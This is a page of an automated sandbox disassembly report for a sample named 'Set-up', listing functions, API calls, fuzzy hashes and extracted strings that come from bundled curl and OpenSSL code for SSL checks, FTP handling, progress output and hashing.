Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 6e318683829a1f7a67aaffcea65a83e7731aa0fc6ad9bdf6b15bfa8e3202b569
Instruction ID: 9ca2432662ccdc5b6a7f9a0203111ac755e0dd202827a467db8174585f767506
Opcode Fuzzy Hash: 6e318683829a1f7a67aaffcea65a83e7731aa0fc6ad9bdf6b15bfa8e3202b569
Instruction Fuzzy Hash: 2EF015B08013208FD7009F19D508B42BFE4BF45314F06829DD4881F3A2DBB9C644CBE1

Function 00639010 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,006343F0,?,?,?,?,?,00633D71), ref: 00639021

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 34761678f78d0da677cb802dd2d401158160ce172d48f190059a3dc7a4052d5e
Instruction ID: 6f4cb745901b6534dea14175a9a5a4a4ec6b227cb0f1afc8adc6d3db1b81ec55
Opcode Fuzzy Hash: 34761678f78d0da677cb802dd2d401158160ce172d48f190059a3dc7a4052d5e
Instruction Fuzzy Hash: 41D0A7719043044BCB007E6888C140A37947A65314FC006AEDD845B302D7395515C7D3

Function 002ECBC0 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,002C7254,?,crypto/err/err_local.h,00000039,00000000,?,00040000,?,002C40BB,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002ECBD2

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bfb3341f09ba4ff69db34d5337b2ba120a6e880d5560880acd38e5e82a5c9f8d
Instruction ID: 226bdfcf860679d71cba5d5b43b940f9baf88b2266a5acb4ad0ba7d42dede31e
Opcode Fuzzy Hash: bfb3341f09ba4ff69db34d5337b2ba120a6e880d5560880acd38e5e82a5c9f8d
Instruction Fuzzy Hash: CFB02B25440040C7D6010605F883C153103E241308BE0043CF101C04B0C2108C62D182

Non-executed Functions

Function 001862E0 Relevance: 123.9, APIs: 9, Strings: 72, Instructions: 2363stringCOMMON

Download Yara Rule

APIs

strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,Unknown error), ref: 00186E74
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,000007FF), ref: 00186F8A
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,000007FF), ref: 00187184
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00187263
memcmp.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,?), ref: 001875B8

Part of subcall function 002DF870: memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000800), ref: 002DF8AE

Strings

[NONE], xrefs: 00187011
vtls/openssl.c, xrefs: 00187BD2, 00187F54, 00188217, 00188278, 00188293
dsa, xrefs: 00186B71, 00186B90, 00186BAE, 00186BC9
: , xrefs: 001878FE
SSL certificate status: %s (%d), xrefs: 001883B6
%lx, xrefs: 00186524
OCSP response has expired, xrefs: 00188414
SSL: public key does not match pinned public key, xrefs: 001882B2
%02x, xrefs: 001865C8
pqg, xrefs: 00186A29, 00186A7E, 00186B13, 00186B6C
No error, xrefs: 00186E65, 0018793C
/%s, xrefs: 00187489, 00187741
Invalid OCSP response, xrefs: 00187D4B, 001880B1
expire date: %.*s, xrefs: 001870E2
unexpected ssl peer type: %d, xrefs: 00187621
Error getting peer certificate, xrefs: 00188153
%02x:, xrefs: 00186CE8
subjectAltName does not match %s %s, xrefs: 00187B11
ipv4 address, xrefs: 00187AD2
Issuer, xrefs: 001864EF
Cert, xrefs: 00186D7F
start date: %.*s, xrefs: 0018707C
Remove session ID again from cache, xrefs: 00187DD4
Error computing OCSP ID, xrefs: 0018806E
%s certificate:, xrefs: 00186F11
Public Key Algorithm, xrefs: 00186725
SSL: could not get X509-issuer name, xrefs: 001872C2
pub_key, xrefs: 00186AD6, 00186BC4
SSL: could not get peer certificate, xrefs: 00186FD5
RSA Public Key, xrefs: 00186C31
SSL: unable to obtain common name from peer certificate, xrefs: 00187F29
SSL: illegal cert name field, xrefs: 00188078
common name: %s (matched), xrefs: 00187F17
SSL certificate revocation reason: %s (%d), xrefs: 001883F1
<, xrefs: 00187F90
Could not get peer certificate chain, xrefs: 00188122
Serial Number, xrefs: 001865F1
Start date, xrefs: 00186887
SSL: Unable to read issuer cert (%s), xrefs: 00187995
BIO_new return NULL, OpenSSL error %s, xrefs: 00186E7D, 00187E52
SSL: certificate subject name '%s' does not match target hostname '%s', xrefs: 00188133
Subject, xrefs: 0018648C
subjectAltName: host "%s" matched cert's "%s", xrefs: 001880EC
Invalid OCSP response status: %s (%d), xrefs: 001877F8
Signature, xrefs: 00186D1F
hostname, xrefs: 00187AE1, 00187B10, 00187B29
Could not find certificate ID in OCSP response, xrefs: 0018840A
SSL: Unable to open issuer cert (%s), xrefs: 00187232
rsa, xrefs: 00186C56, 00186C75
OCSP response verification failed, xrefs: 0018814C
Version, xrefs: 0018654F
SSL certificate verify ok., xrefs: 0018809E
No OCSP response received, xrefs: 001879D8
Certificate level %d: Public key type %s%s (%d/%d Bits/secBits), signed using %s, xrefs: 0018736B
BIO_new_mem_buf NULL, OpenSSL error %s, xrefs: 00187954
ipv6 address, xrefs: 00187AD7
Expire date, xrefs: 001868EE
Signature Algorithm, xrefs: 001866A6
Proxy, xrefs: 00186F01
OpenSSL, xrefs: 00186DFC, 001878D3
Unable to load public key, xrefs: 001869DB
subjectAltName: host "%s" matched cert's IP address!, xrefs: 00187607
SSL: no alternative certificate subject name matches target %s '%s', xrefs: 00187B2A
SSL certificate issuer check ok (%s), xrefs: 00187CAF
Server, xrefs: 00186F06, 00186F10
SSL certificate verify result: %s (%ld), xrefs: 00187FB0
subject: %s, xrefs: 00187021
%s/%s, xrefs: 00186E01, 001878D8
SSL certificate verify result: %s (%ld), continuing anyway., xrefs: 00187D38
issuer: %s, xrefs: 001871CE
SSL: Certificate issuer check failed (%s), xrefs: 00187867
Unknown error, xrefs: 00186E6A, 00186E72, 00187941, 00187949

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy$memcmpmemsetstrcpystrlen
String ID: Unable to load public key$ Certificate level %d: Public key type %s%s (%d/%d Bits/secBits), signed using %s$ SSL certificate issuer check ok (%s)$ SSL certificate verify ok.$ SSL certificate verify result: %s (%ld), continuing anyway.$ common name: %s (matched)$ expire date: %.*s$ issuer: %s$ start date: %.*s$ subject: %s$ subjectAltName does not match %s %s$ subjectAltName: host "%s" matched cert's "%s"$ subjectAltName: host "%s" matched cert's IP address!$%02x$%02x:$%lx$%s certificate:$%s/%s$/%s$: $<$BIO_new return NULL, OpenSSL error %s$BIO_new_mem_buf NULL, OpenSSL error %s$Cert$Could not find certificate ID in OCSP response$Could not get peer certificate chain$Error computing OCSP ID$Error getting peer certificate$Expire date$Invalid OCSP response$Invalid OCSP response status: %s (%d)$Issuer$No OCSP response received$No error$OCSP response has expired$OCSP response verification failed$OpenSSL$Proxy$Public Key Algorithm$RSA Public Key$Remove session ID again from cache$SSL certificate revocation reason: %s (%d)$SSL certificate status: %s (%d)$SSL certificate verify result: %s (%ld)$SSL: Certificate issuer check failed (%s)$SSL: Unable to open issuer cert (%s)$SSL: Unable to read issuer cert (%s)$SSL: certificate subject name '%s' does not match target hostname '%s'$SSL: could not get X509-issuer name$SSL: could not get peer certificate$SSL: illegal cert name field$SSL: no alternative certificate subject name matches target %s '%s'$SSL: public key does not match pinned public key$SSL: unable to obtain common name from peer certificate$Serial Number$Server$Signature$Signature Algorithm$Start date$Subject$Unknown error$Version$[NONE]$dsa$hostname$ipv4 address$ipv6 address$pqg$pub_key$rsa$unexpected ssl peer type: %d$vtls/openssl.c
API String ID: 838718518-248801092
Opcode ID: 2f8de73968a2b9b2579eb7e3163c196c1d42e33f1651ec2a67ec680c9bf98304
Instruction ID: bfb3d54867168795d8e602674f1a16abc4d1dac45a3818128d2f810e412aeedf
Opcode Fuzzy Hash: 2f8de73968a2b9b2579eb7e3163c196c1d42e33f1651ec2a67ec680c9bf98304
Instruction Fuzzy Hash: 4A0307B5908340ABE721BA10EC42F7B7799AF91708F094428FD4D56283F775EA64CB93

Function 0049E050 Relevance: 119.3, APIs: 64, Strings: 3, Instructions: 2082COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 0049E0B3
localeconv.MSVCRT ref: 0049E0BE
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 0049E149
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 0049E179
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0049E1D8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0049E1FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0049E20F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0049F886

Strings

, xrefs: 0049FED0
d, xrefs: 0049EAAF
nil), xrefs: 004A041D

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: free$isspacelocaleconv$_errno
String ID: $d$nil)
API String ID: 577766270-394766432
Opcode ID: b30ea4267f07cbf7ee465e624fc707087f7ec34612eb9e44faeeff50eae18c2d
Instruction ID: 9ca0fd3a4a5b0c1f9054b48cc9dbf0e048eff32178e96d49ce84698fd07b07c6
Opcode Fuzzy Hash: b30ea4267f07cbf7ee465e624fc707087f7ec34612eb9e44faeeff50eae18c2d
Instruction Fuzzy Hash: A3137E706083418FDB20CF29C08462BBBE1BF99314F14497EE9959B361D779EC49CB86

Function 0015E480 Relevance: 91.8, APIs: 25, Strings: 27, Instructions: 803COMMON

Download Yara Rule

Strings

socket failure: %s, xrefs: 0015E9D5
,%d,%d, xrefs: 0015EEBF
PRET, xrefs: 0015E656
NLST, xrefs: 0015E5F6, 0015E5FE
getsockname() failed: %s, xrefs: 0015E905, 0015EC1B
bind() failed, we ran out of ports, xrefs: 0015EB15
Failure sending EPRT command: %s, xrefs: 0015EF6C
LIST, xrefs: 0015E5F1
PRET RETR %s, xrefs: 0015E5D9
REST %d, xrefs: 0015E4A6
bind(port=%hu) on non-local address failed: %s, xrefs: 0015EBC6
%s %s, xrefs: 0015EEDC
PRET %s, xrefs: 0015E5FF
[%s] ftp_state_use_port(), opened socket, xrefs: 0015EAE2
[%s] -> [%s], xrefs: 0015C2D2, 0015C3D2, 0015C596, 0015E45F, 0015E4FF, 0015E56E, 0015E662, 0015EA61
PRET STOR %s, xrefs: 0015E607
RETR_PREQUOTE, xrefs: 0015E562
bind(port=%hu) failed: %s, xrefs: 0015ED00
%s |%d|%s|%hu|, xrefs: 0015EF47
Failure sending PORT command: %s, xrefs: 0015EF05
EPRT, xrefs: 0015EF42
???, xrefs: 0015EADC, 0015EAE1, 0015ED2B, 0015ED31, 0015ED96, 0015ED9C
PORT, xrefs: 0015EED7
[%s] ftp_state_use_port(), listening on %d, xrefs: 0015ED9D
STOP, xrefs: 0015C3C6, 0015EA55
failed to resolve the address provided to PORT: %s, xrefs: 0015E9DD
[%s] ftp_state_use_port(), socket bound to port %d, xrefs: 0015ED32

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$???$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$LIST$NLST$PORT$PRET$PRET %s$PRET RETR %s$PRET STOR %s$REST %d$RETR_PREQUOTE$STOP$[%s] -> [%s]$[%s] ftp_state_use_port(), listening on %d$[%s] ftp_state_use_port(), opened socket$[%s] ftp_state_use_port(), socket bound to port %d$bind() failed, we ran out of ports$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 0-1921080684
Opcode ID: 6821e164f81c7cbe51158a283be8719eb8a9fb95e1c5f63cec3da34024167d64
Instruction ID: 5b2b8fbd56794c42e6c7de8418c3b60227e72ebec7873765c79f1d97e9a445e8
Opcode Fuzzy Hash: 6821e164f81c7cbe51158a283be8719eb8a9fb95e1c5f63cec3da34024167d64
Instruction Fuzzy Hash: 52521371A04300EBD7189F24DC45B7B7BE9AB94306F184829FDA5CB292E730DA49C792

Function 0011E620 Relevance: 62.3, APIs: 29, Strings: 6, Instructions: 1028COMMON

Download Yara Rule

APIs

fputc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?), ref: 0011E6F1

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 0011E9AA, 0011EAEB
(nil), xrefs: 0011ECCD
.%d, xrefs: 0011EE0E
0, xrefs: 0011EBCA
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 0011E68E, 0011E9AF, 0011EAF0
-, xrefs: 0011EC74

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: fputc
String ID: (nil)$-$.%d$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 1992160199-2555271450
Opcode ID: b036fc5d1c04b80570863bf7aca382fa9e727900946385b45f38577becb8ab06
Instruction ID: fce8c9ff585a8d5a74b13cd558a3e159d229a522aac9486af76ac8dd7722631a
Opcode Fuzzy Hash: b036fc5d1c04b80570863bf7aca382fa9e727900946385b45f38577becb8ab06
Instruction Fuzzy Hash: 7E829371A083419FD718CE19C8847ABBBE1AFC5724F158A3DF8A997291D730DC86CB52

Function 00124940 Relevance: 25.2, APIs: 1, Strings: 13, Instructions: 731COMMON

Download Yara Rule

APIs

Part of subcall function 0012D8C0: QueryPerformanceCounter.KERNEL32(?,?,?,?,?,00000000,?,0000001C,?,001201B1), ref: 0012D8E2

fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 001252A5

Strings

%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s, xrefs: 0012528E
%3lldd %02lldh, xrefs: 00124E35, 00124F7F, 001250AB
-:--, xrefs: 00124F08
%2lld:%02lld:%02lld, xrefs: 00124DA4, 00124EEA, 00125047
-:--, xrefs: 00124FC8
-:--, xrefs: 00124DBE
--:-, xrefs: 00124F10
--:-, xrefs: 00124DC6
** Resuming transfer from byte position %lld, xrefs: 00124AE9
Callback aborted, xrefs: 00124A7C
%% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed, xrefs: 00124AFC
--:-, xrefs: 00124FD0
%7lldd, xrefs: 00124E50, 00124F9A, 001250C3

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: CounterPerformanceQueryfflush
String ID: %3lld %s %3lld %s %3lld %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$%2lld:%02lld:%02lld$%3lldd %02lldh$%7lldd$** Resuming transfer from byte position %lld$--:-$--:-$--:-$-:--$-:--$-:--$Callback aborted
API String ID: 1125614567-122532811
Opcode ID: 9158793e268dab79055c7e10f465c977d828f7f6069e6ef2d99feb3757a075c1
Instruction ID: bc9eb9152f2325da0a53b5ace29209b8ce168e1683c88b68a1730ec4c622d3ca
Opcode Fuzzy Hash: 9158793e268dab79055c7e10f465c977d828f7f6069e6ef2d99feb3757a075c1
Instruction Fuzzy Hash: 55420771B08710AFD708DE28DC81B6BB7E6EFD4704F05892CF54D97291E775A8248B92

Function 003A0170 Relevance: 23.2, APIs: 8, Strings: 7, Instructions: 704COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000040), ref: 003A0374
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000080), ref: 003A0395
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000008), ref: 003A049D
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000004), ref: 003A04E7
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,00000000,?), ref: 003A055F
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000298,?,?), ref: 003A057A
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 003A0618
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,0000005C,?), ref: 003A06E3

Strings

SHA2-224, xrefs: 003A0238
SHA2-256, xrefs: 003A0B05
MD5, xrefs: 003A0194
SHA1, xrefs: 003A01F7
SHA2-384, xrefs: 003A0B62
SHA2-512, xrefs: 003A0BA5
@, xrefs: 003A0B42

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpymemset
String ID: @$MD5$SHA1$SHA2-224$SHA2-256$SHA2-384$SHA2-512
API String ID: 1297977491-3776850024
Opcode ID: 9bb44be9d4e6151a96c3f3d4e5f304d3ebed9c4c9f2be3c7431884db70757633
Instruction ID: 59a2a8c10ab7568dce04ff459c8b97d4cb33b694eeb81c0be410d42908325e2a
Opcode Fuzzy Hash: 9bb44be9d4e6151a96c3f3d4e5f304d3ebed9c4c9f2be3c7431884db70757633
Instruction Fuzzy Hash: 7152A2719187818BD715CF28D841BABB7E4EFDA348F048A2DF9C893252E775D904CB92

Function 002EE270 Relevance: 22.7, APIs: 15, Instructions: 238filestringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(crypto/mem_sec.c,00000187,assertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0,crypto/mem_sec.c,00000185,assertion failed: list >= 0 && list < sh.freelist_size,crypto/mem_sec.c,00000184,-00000001), ref: 002EE28D
FindNextFileW.KERNEL32(?,00000000), ref: 002EE2BB
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,0000000100000001,?,00000100,00000000,00000000,?,?), ref: 002EE30A
